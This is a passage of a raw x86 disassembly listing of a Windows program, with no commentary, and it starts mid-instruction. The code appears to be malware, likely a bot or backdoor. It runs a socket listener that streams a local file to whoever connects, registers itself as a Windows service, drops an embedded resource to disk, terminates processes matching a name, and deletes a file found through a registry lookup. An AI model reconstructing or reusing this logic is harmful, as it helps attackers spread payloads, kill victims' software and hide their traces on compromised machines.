[edi+1Dh], eax mov dx, word ptr ds:dword_44769F push edx call htons ; htons push 6 push 1 push 2 mov [edi+1Bh], ax call socket ; socket cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_13C93C7 lea eax, [esp+24h+var_18] mov ecx, offset byte_E2AAEB push eax mov [esp+28h+var_18], edi call sub_13AB60D jmp loc_13C9A6A ; --------------------------------------------------------------------------- loc_13C93C7: ; CODE XREF: sub_13C9340+6Dj push 10h push esi push eax call bind ; bind test eax, eax jz short loc_13C93F7 mov ecx, [edi+15h] push ecx call closesocket ; closesocket lea edx, [esp+34h+var_28] mov ecx, offset byte_E2AAEB push edx mov [esp+38h+var_28], edi call sub_13AB60D jmp loc_13C9A6A ; --------------------------------------------------------------------------- loc_13C93F7: ; CODE XREF: sub_13C9340+93j mov al, ds:byte_E2AA94 test al, al jz loc_13C9A60 push ebx mov ebx, atoi push ebp mov ebp, send loc_13C9412: ; CODE XREF: sub_13C9340+718j mov eax, [edi+15h] push 0Ah push eax call listen ; listen cmp eax, 0FFFFFFFFh jnz short loc_13C942D push 0FAh jmp loc_13C9A4B ; --------------------------------------------------------------------------- loc_13C942D: ; CODE XREF: sub_13C9340+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax call accept ; accept mov esi, eax cmp esi, 0FFFFFFFFh jz loc_13C9A46 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call getpeername ; getpeername mov eax, [esp+58h+var_34] test al, al jz loc_13C9A51 mov cl, ds:byte_447E08 test cl, cl jz short loc_13C94DF mov edx, [esp+58h+var_34+3] mov ecx, ds:dword_44769F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset dword_4440DC mov ecx, offset dword_4479A8 call sub_13AB8D3 push eax push 0 push 0 push offset byte_E19CC5 call sub_13ABC48 add esp, 28h loc_13C94DF: ; CODE XREF: sub_13C9340+14Ej lea ecx, [esp+58h+arg_0] call sub_13AB824 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_13AC05D push eax call sub_13AB9EB add esp, 8 lea eax, [esp+5Ch] lea ecx, [esp+5Ch+arg_14] push eax call sub_13AB8C9 lea ecx, [esp+60h+var_4] mov [esp+60h+arg_1968], 1 push ecx lea ecx, [esp+64h+arg_10] call sub_13AC3BE mov edi, offset dword_4440D4 or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset dword_4440D4 push esi call ebp ; send push 0 lea edx, [esp+78h+arg_14C] push 800h push edx push esi call sub_13AB680 mov edi, offset dword_4440CC or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset dword_4440CC push esi call ebp ; send push 0 lea eax, [esp+88h+arg_13C] push 800h push eax push esi call sub_13AB680 mov edi, offset dword_4440C4 or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset dword_4440C4 push esi call ebp ; send push 0 lea ecx, [esp+98h+arg_12C] push 800h push ecx push esi call sub_13AB680 mov edi, offset dword_4440BC or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset dword_4440BC push esi call ebp ; send push 0 lea edx, [esp+0A8h+arg_11C] push 800h push edx push esi call sub_13AB680 add esp, 10h lea eax, [esp+0A4h+arg_11C] lea ecx, [esp+0A4h+var_18] push eax call sub_13ABC61 push offset dword_443600 lea ecx, [esp+0ACh+var_64] push 1 push ecx lea ecx, [esp+0B4h+var_1C] mov [esp+0B4h+arg_1920], 2 call sub_13ABAAE push offset dword_4440B8 lea edx, [esp+0B8h+arg_1C] push 0 push edx lea ecx, [esp+0C0h+var_70] mov [esp+0C0h+arg_1914], 3 call sub_13ABAAE mov ecx, eax mov [esp+0C0h+arg_1908], 4 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0C0h+arg_10] mov edi, eax mov [esp+0C0h+arg_1908], 3 call sub_13AB626 push offset dword_4440B8 lea eax, [esp+0C4h+arg_58] push 1 push eax lea ecx, [esp+0CCh+var_7C] call sub_13ABAAE mov ecx, eax mov [esp+0CCh+arg_18FC], 5 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0CCh+arg_4C] mov [esp+0CCh+var_B0], eax mov [esp+0CCh+arg_18FC], 3 call sub_13AB626 push offset dword_4440B8 lea ecx, [esp+0D0h+var_28] push 2 push ecx lea ecx, [esp+0D8h+var_88] call sub_13ABAAE mov ecx, eax mov [esp+0D8h+arg_18F0], 6 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0D8h+var_34] mov [esp+0D8h+var_9C], eax mov [esp+0D8h+arg_18F0], 3 call sub_13AB626 push offset dword_4440B8 lea edx, [esp+0DCh+arg_28] push 3 push edx lea ecx, [esp+0E4h+var_94] call sub_13ABAAE mov ecx, eax mov [esp+0E4h+arg_18E4], 7 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0E4h+arg_1C] mov [esp+0E4h+var_A4], eax mov [esp+0E4h+arg_18E4], 3 call sub_13AB626 push offset dword_4440B8 lea eax, [esp+0E8h+var_28] push 4 push eax lea ecx, [esp+0F0h+var_A0] call sub_13ABAAE mov ecx, eax mov [esp+0F0h+arg_18D8], 8 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0F0h+var_34] mov [esp+0F0h+var_E0], eax mov [esp+0F0h+arg_18D8], 3 call sub_13AB626 push offset dword_4440B8 lea ecx, [esp+0F4h+var_4] push 5 push ecx lea ecx, [esp+0FCh+var_AC] call sub_13ABAAE mov ecx, eax mov [esp+0FCh+arg_18CC], 9 call sub_13ABBE4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+0FCh+var_10] mov [esp+0FCh+var_E4], eax mov [esp+0FCh+arg_18CC], 3 call sub_13AB626 mov dl, byte ptr [esp+0FCh+var_EC] mov al, byte ptr [esp+0FCh+var_E4] mov ecx, [esp+0FCh+var_BC] mov byte ptr [esp+0FCh+var_CC+1], dl mov edx, [esp+0FCh+var_C0] mov byte ptr [esp+0FCh+var_CC], al mov eax, [esp+0FCh+var_CC] push ecx and eax, 0FFFFh push edx mov [esp+104h+var_EC], eax mov eax, [esp+104h+var_E0] push eax push edi lea ecx, [esp+10Ch+arg_44] push offset dword_443CD4 push ecx call wsprintfA ; wsprintfA mov edi, offset dword_4440BC or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset dword_4440BC push esi call ebp ; send push 0 lea edx, [esp+110h+arg_B4] push 800h push edx push esi call sub_13AB680 mov edi, offset dword_4440B0 or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset dword_4440B0 push esi call ebp ; send mov eax, [esp+11Ch+var_10C] lea ecx, [esp+11Ch+arg_24] push eax push ecx call sub_13ABE8C add esp, 8 lea ecx, [esp+11Ch+var_A8] mov [esp+11Ch+var_10C], eax push offset dword_4440AC call sub_13ABBE4 push eax call fopen ; fopen mov edi, eax add esp, 8 test edi, edi mov [esp+11Ch+var_104], edi jz loc_13C99A5 cmp [esp+11Ch+var_10C], 0FFFFFFFFh jz loc_13C99A5 push 2 push 0 push edi call fseek ; fseek push edi call ftell ; ftell push 0 push 0 push edi mov [esp+138h+var_100], eax call fseek ; fseek add esp, 1Ch loc_13C98D0: ; CODE XREF: sub_13C9340+5E1j mov edx, [esp+11Ch+var_104] mov ecx, 400h xor eax, eax lea edi, [esp+11Ch+arg_8A4] rep stosd push edx push 1000h lea eax, [esp+124h+arg_8A4] push 1 push eax call fread ; fread mov ecx, [esp+12Ch+var_104] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_13C9923 mov eax, [esp+11Ch+var_10C] push 0 lea edx, [esp+120h+arg_8A4] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_13C98D0 loc_13C9923: ; CODE XREF: sub_13C9340+5C7j mov eax, [esp+12Ch+var_118] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, ds:byte_447E08 test cl, cl mov eax, edx jz short loc_13C998C mov edx, [esp+27h] mov ecx, [esp+12Ch+var_110] push eax mov eax, [esp+2Ah] and edx, 0FFh push ecx mov ecx, [esp+2Dh] push edx mov edx, [esp+138h+var_108] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset dword_444070 mov ecx, offset dword_4479A8 call sub_13AB8D3 push eax push 0 push 0 push offset byte_E19CC5 call sub_13ABC48 add esp, 2Ch loc_13C998C: ; CODE XREF: sub_13C9340+5F8j mov eax, [esp+12Ch+var_114] push eax call fclose ; fclose mov ecx, [esp+130h+var_11C] add esp, 4 push ecx call closesocket ; closesocket loc_13C99A5: ; CODE XREF: sub_13C9340+55Bj ; sub_13C9340+566j mov edi, offset dword_444068 or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset dword_444068 push esi call ebp ; send push 0 lea edx, [esp+144h+arg_80] push 800h push edx push esi call sub_13AB680 mov edi, offset dword_444060 or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset dword_444060 push esi call ebp ; send push esi call closesocket ; closesocket lea ecx, [esp+154h+var_110] mov byte ptr [esp+154h+arg_1874], 2 call sub_13AB626 lea ecx, [esp+154h+var_C8] mov byte ptr [esp+154h+arg_1874], 1 call sub_13AB626 lea ecx, [esp+154h+var_E0] mov byte ptr [esp+154h+arg_1874], 0 call sub_13AB626 lea ecx, [esp+154h+var_F8] mov [esp+154h+arg_1874], 0FFFFFFFFh call sub_13AB626 mov edi, [esp+154h+var_140] loc_13C9A46: ; CODE XREF: sub_13C9340+109j push 9C4h loc_13C9A4B: ; CODE XREF: sub_13C9340+E8j call Sleep ; Sleep loc_13C9A51: ; CODE XREF: sub_13C9340+140j mov al, ds:byte_E2AA94 test al, al jnz loc_13C9412 pop ebp pop ebx loc_13C9A60: ; CODE XREF: sub_13C9340+BEj mov eax, [edi+15h] push eax call closesocket ; closesocket loc_13C9A6A: ; CODE XREF: sub_13C9340+82j ; sub_13C9340+B2j mov ecx, [esp+154h+arg_1864] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_13C9340 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9C70 proc near ; CODE XREF: sub_13AB630j var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_64 = byte ptr -64h var_60 = byte ptr -60h var_4C = byte ptr -4Ch var_34 = byte ptr -34h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_10 = byte ptr 14h push 0FFFFFFFFh push 43B2F0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_13ABD7E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_13C9CAD mov ds:byte_E2AAE9, 0 jmp loc_13C9E11 ; --------------------------------------------------------------------------- loc_13C9CAD: ; CODE XREF: sub_13C9C70+2Fj mov cl, ds:byte_4472CB xor ebx, ebx cmp cl, bl mov ds:byte_E2AAE9, 1 jnz loc_13C9E04 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_13AC3EB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_13C9DF7 push edi lea ecx, [esp+0A0h+var_7C] call sub_13AB824 mov [esp+0A0h+var_4], ebx call sub_13AC2EC mov esi, rand call esi ; rand cdq mov ecx, 3 push offset byte_446F80 idiv ecx lea ecx, [esp+88h+var_60] mov edi, edx add edi, 0Ah call sub_13AB9D7 cmp edi, ebx jle short loc_13C9D76 loc_13C9D1A: ; CODE XREF: sub_13C9C70+104j lea ecx, [esp+88h+var_4C] call sub_13AB824 lea edx, [esp+88h+var_64] lea ecx, [esp+88h+var_4C] push edx mov [esp+8Ch+arg_10], 1 call sub_13AC3BE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+88h+var_4C] add edx, 61h push edx call sub_13ABBE4 push eax lea edx, [esp+90h+var_64] push offset dword_443E94 push edx call sub_13AB42D add esp, 10h lea ecx, [esp+88h+var_4C] mov [esp+88h+arg_10], bl call sub_13AB626 dec edi jnz short loc_13C9D1A loc_13C9D76: ; CODE XREF: sub_13C9C70+A8j push 0Ah lea ecx, [esp+8Ch+var_64] call sub_13AB86F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+88h+var_34] rep stosd lea ecx, [esp+88h+var_64] call sub_13ABBE4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+94h+var_34] push offset dword_4440F8 push edx call wsprintfA ; wsprintfA add esp, 14h lea eax, [esp+88h+var_34] push ebx push 40h push eax push ebp call send ; send mov esi, closesocket push ebp call esi ; closesocket lea ecx, [esp+9Ch+var_78] mov dword ptr [esp+9Ch], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+9Ch+var_8C] push ecx call esi ; closesocket mov ds:byte_E2AAE9, bl pop edi jmp short loc_13C9E0E ; --------------------------------------------------------------------------- loc_13C9DF7: ; CODE XREF: sub_13C9C70+67j push 7D0h call Sleep ; Sleep jmp short loc_13C9E11 ; --------------------------------------------------------------------------- loc_13C9E04: ; CODE XREF: sub_13C9C70+4Ej mov ebp, [esp+9Ch+var_90] mov esi, closesocket loc_13C9E0E: ; CODE XREF: sub_13C9C70+185j push ebp call esi ; closesocket loc_13C9E11: ; CODE XREF: sub_13C9C70+38j ; sub_13C9C70+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_13C9C70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9EA0 proc near ; CODE XREF: sub_13ABEBEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_13C9EDB dec eax jz short loc_13C9EC4 dec eax jnz short loc_13C9F01 mov ecx, ds:dword_1029D10 mov ds:dword_1029CF4, 4 call sub_13AC1CA jmp short loc_13C9F01 ; --------------------------------------------------------------------------- loc_13C9EC4: ; CODE XREF: sub_13C9EA0+8j mov ecx, ds:dword_1029D10 mov ds:dword_1029CF4, 7 call sub_13AB428 jmp short loc_13C9F01 ; --------------------------------------------------------------------------- loc_13C9EDB: ; CODE XREF: sub_13C9EA0+5j mov ecx, ds:dword_1029D10 xor eax, eax mov ds:dword_1029CFC, eax mov ds:dword_1029CF4, 1 mov ds:dword_1029D04, eax mov ds:dword_1029D08, eax call sub_13ABB44 loc_13C9F01: ; CODE XREF: sub_13C9EA0+Bj ; sub_13C9EA0+22j ... mov eax, ds:dword_1029D14 push offset dword_1029CF0 push eax mov ds:dword_1029CF4, 4 call SetServiceStatus ; SetServiceStatus retn 4 sub_13C9EA0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9F40 proc near ; CODE XREF: sub_13ABD56j push esi xor esi, esi push 401ABEh mov ecx, offset byte_44795F mov ds:dword_1029CF0, 20h mov ds:dword_1029CF4, 2 mov ds:dword_1029CF8, 3 mov ds:dword_1029CFC, esi mov ds:dword_1029D00, esi mov ds:dword_1029D04, esi mov ds:dword_1029D08, esi call sub_13ABBE4 push eax call RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA cmp eax, esi mov ds:dword_1029D14, eax jz short loc_13C9FBA push offset dword_1029CF0 push eax mov ds:dword_1029CF4, 4 mov ds:dword_1029D04, esi mov ds:dword_1029D08, esi call SetServiceStatus ; SetServiceStatus loc_13C9FBA: ; CODE XREF: sub_13C9F40+56j pop esi retn 8 sub_13C9F40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9FE0 proc near ; CODE XREF: sub_13AB469j push esi mov esi, ecx call sub_13AC26A mov dword ptr [esi], offset dword_43E068 mov eax, esi pop esi retn sub_13C9FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA010 proc near ; CODE XREF: sub_13AC0DFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov ds:dword_1029D10, ecx push 100h mov ecx, offset byte_44795F call sub_13ABBE4 push eax lea eax, [esp+118h+var_100] push eax call strncpy ; strncpy add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], 401956h mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA xor eax, eax add esp, 110h retn sub_13CA010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA090 proc near ; CODE XREF: sub_13AC030j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx push esi push edi push offset dword_443F20 push eax call fopen ; fopen mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_13CA0B2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_13CA0B2: ; CODE XREF: sub_13CA090+1Aj mov ecx, [esp+0Ch+arg_8] push ecx call GetModuleHandleA ; GetModuleHandleA mov esi, eax test esi, esi jnz short loc_13CA0C9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_13CA0C9: ; CODE XREF: sub_13CA090+31j mov edx, [esp+0Ch+arg_4] push offset dword_44411C and edx, 0FFFFh push edx push esi call FindResourceA ; FindResourceA mov edi, eax test edi, edi jnz short loc_13CA0EC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_13CA0EC: ; CODE XREF: sub_13CA090+54j push ebp push edi push esi call LoadResource ; LoadResource push edi push esi mov ebp, eax call SizeofResource ; SizeofResource push ebp mov esi, eax call LockResource ; LockResource push ebx push esi push 1 push eax call fwrite ; fwrite push ebx call fclose ; fclose add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn sub_13CA090 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA160 proc near ; CODE XREF: sub_13ABC7Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_13CA188 push esi call gethostbyname ; gethostbyname test eax, eax jnz short loc_13CA181 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_13CA181: ; CODE XREF: sub_13CA160+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_13CA188: ; CODE XREF: sub_13CA160+Fj pop esi retn sub_13CA160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA1A0 proc near ; CODE XREF: sub_13ABE8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13CA1BE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13CA1BE: ; CODE XREF: sub_13CA1A0+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call htons ; htons mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_13ABC7F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call connect ; connect cmp eax, 0FFFFFFFFh jnz short loc_13CA21A push esi call closesocket ; closesocket or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13CA21A: ; CODE XREF: sub_13CA1A0+69j mov eax, esi pop esi add esp, 10h retn sub_13CA1A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA260 proc near ; CODE XREF: sub_13ABD7Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13CA27E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13CA27E: ; CODE XREF: sub_13CA260+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call htons ; htons lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call bind ; bind test eax, eax jz short loc_13CA2D0 push esi call closesocket ; closesocket or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13CA2D0: ; CODE XREF: sub_13CA260+5Fj mov eax, esi pop esi add esp, 10h retn sub_13CA260 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA300 proc near ; CODE XREF: sub_13AB6DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call listen ; listen cmp eax, 0FFFFFFFFh jz short loc_13CA334 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h call accept ; accept cmp eax, 0FFFFFFFFh jnz short loc_13CA337 loc_13CA334: ; CODE XREF: sub_13CA300+14j or eax, 0FFFFFFFFh loc_13CA337: ; CODE XREF: sub_13CA300+32j pop esi add esp, 10h retn sub_13CA300 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA350 proc near ; CODE XREF: sub_13AC3EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_13CA386 mov esi, [esp+8+arg_0] push 0Ah push esi call listen ; listen cmp eax, 0FFFFFFFFh jz short loc_13CA386 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call accept ; accept cmp eax, 0FFFFFFFFh jnz short loc_13CA389 loc_13CA386: ; CODE XREF: sub_13CA350+8j ; sub_13CA350+1Aj or eax, 0FFFFFFFFh loc_13CA389: ; CODE XREF: sub_13CA350+34j pop edi pop esi retn sub_13CA350 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA3A0 proc near ; CODE XREF: sub_13AB9FAj var_41 = byte ptr -41h var_3D = byte ptr -3Dh var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h arg_10DC = dword ptr 10E0h mov eax, 1114h call near ptr 13E0C60h lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call near ptr 13E13E0h test eax, eax jnz short loc_13CA3D3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_13CA3D3: ; CODE XREF: sub_13CA3A0+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_13CA49D push ebx mov ebx, OpenProcess push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_13CA3F5: ; CODE XREF: sub_13CA3A0+F3j mov edi, offset dword_444124 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+1Ch+arg_0] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx ; OpenProcess mov esi, eax test esi, esi jz short loc_13CA487 lea edx, [esp+28h+var_10] lea eax, [esp+28h+var_C] push edx push 4 push eax push esi call near ptr 13E13DAh test eax, eax jz short loc_13CA480 mov edx, [esp+38h+var_1C] lea ecx, [esp+38h+var_18] push 104h push ecx push edx push esi call near ptr 13E13D4h mov eax, [esp+48h+arg_10DC] lea ecx, [esp+48h+var_28] push eax push ecx call _strcmpi ; _strcmpi add esp, 8 test eax, eax jnz short loc_13CA480 push eax push esi call TerminateProcess ; TerminateProcess mov [esp+50h+var_3D], 1 loc_13CA480: ; CODE XREF: sub_13CA3A0+A2j ; sub_13CA3A0+D1j push esi call CloseHandle ; CloseHandle loc_13CA487: ; CODE XREF: sub_13CA3A0+8Cj mov eax, [esp+14h] add ebp, 4 dec eax mov [esp+14h], eax jnz loc_13CA3F5 pop edi pop esi pop ebp pop ebx loc_13CA49D: ; CODE XREF: sub_13CA3A0+3Aj mov al, [esp+44h+var_41] add esp, 1114h retn sub_13CA3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CA500 proc near ; CODE XREF: sub_13ABDFBj var_498 = byte ptr -498h var_494 = byte ptr -494h var_48C = byte ptr -48Ch var_488 = byte ptr -488h var_485 = byte ptr -485h var_484 = byte ptr -484h var_47C = byte ptr -47Ch var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_458 = dword ptr -458h var_454 = dword ptr -454h var_440 = byte ptr -440h var_43C = byte ptr -43Ch var_428 = byte ptr -428h var_424 = byte ptr -424h var_58 = dword ptr -58h var_50 = dword ptr -50h var_3C = byte ptr -3Ch var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 4 push 0FFFFFFFFh push 43B322h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_13ABC61 push eax mov [esp+468h+var_8], 0 call sub_13AC28D add esp, 4 lea ecx, [esp+464h+var_428] mov bl, al mov [esp+464h+var_8], 0FFFFFFFFh call sub_13AB626 test bl, bl jz loc_13CA67A lea ecx, [esp+464h+var_440] call sub_13AB824 push esi lea eax, [esp+468h+var_440] mov ebx, 1 push offset dword_44413C push eax mov [esp+470h+var_8], ebx mov [esp+470h+var_458], 0 mov [esp+470h+var_454], 80h call sub_13AB42D add esp, 0Ch lea ecx, [esp+464h+var_458] push ecx push 20019h push 0 lea ecx, [esp+470h+var_440] call sub_13ABA81 push eax push 80000002h call RegOpenKeyExA ; RegOpenKeyExA mov ecx, [esp+478h+var_46C] lea edx, [esp+478h+var_468] lea eax, [esp+478h+var_424] push edx push eax push 0 push 0 push offset dword_444130 push ecx call RegQueryValueExA ; RegQueryValueExA lea edx, [esp+490h+var_485] lea eax, [esp+490h+var_43C] push edx push eax lea ecx, [esp+498h+var_47C] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z mov ecx, ?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB mov [esp+498h+var_3C], 2 mov edx, [ecx] lea ecx, [esp+498h+var_484] push edx push offset dword_443B14 call ?find_last_of@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDI@Z inc eax lea ecx, [esp+4A0h+var_48C] push eax push 0 call ?erase@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@II@Z lea ecx, [esp+4A8h+var_494] call ?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+4A8h+var_484] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea ecx, [esp+4ACh+var_498] mov byte ptr [esp+4ACh+var_50], bl call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ lea ecx, [esp+4ACh+var_488] mov [esp+4ACh+var_50], 0FFFFFFFFh call sub_13AB626 mov al, bl pop esi pop ebx mov ecx, [esp+4A4h+var_58] mov large fs:0, ecx add esp, 458h retn ; --------------------------------------------------------------------------- loc_13CA67A: ; CODE XREF: sub_13CA500+5Aj mov ecx, [esp+464h+var_10] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_13CA500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh 